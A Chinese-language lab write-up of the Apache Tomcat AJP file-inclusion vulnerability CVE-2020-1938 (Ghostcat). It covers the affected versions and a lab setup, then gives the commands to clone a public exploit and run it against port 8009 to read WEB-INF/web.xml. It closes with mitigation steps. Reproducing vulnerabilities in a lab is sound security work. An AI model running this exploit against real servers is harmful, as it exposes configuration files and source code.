漏洞說明#
Apache與Tomcat都是Apache開源組織開發的用於處理HTTP服務的項目,兩者都是免費的,都可以做為獨立的Web服務器運行。
Apache Tomcat服務器存在文件包含漏洞,攻擊者可利用該漏洞讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,如:webapp 配置文件或源代碼等。
漏洞危害#
由於Tomcat默認開啟的AJP服務。端口號為8009,攻擊者可構造惡意的請求包進行文件包含操作,進而讀取受影響Tomcat服務器上的Web上的任意文件。
漏洞編號#
CVE-2020-1938
CNVD-2020-10487
影響范圍#
該文件包含漏洞影響以下版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
漏洞復現#
環境 centos7 加 apache-tomcat-8.5.32
環境搭建#
centos7安裝git,如果有git則不用安裝
yum install git -y
安裝完成后使用下面的命令克隆環境
git clone https://github.com/laolisafe/CVE-2020-1938
解壓Apache
unzip apache-tomcat-8.5.32.zip

在Apache的bin目錄下,添加執行權限,我這里給全部權限

啟動Apache,注意有先安裝java環境
sh startup.sh

查看端口,8009端口是開啟的


漏洞利用#
下載exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,我們這里讀取WEB-INF/web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.248.129

解決方案#
1、臨時禁用AJP協議端口,在conf/server.xml配置文件中注釋掉
2、配置ajp配置中的secretRequired跟secret屬性來限制認證
3、官方下載最新版下載地址:
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或者github下載
https://github.com/apache/tomcat/releases
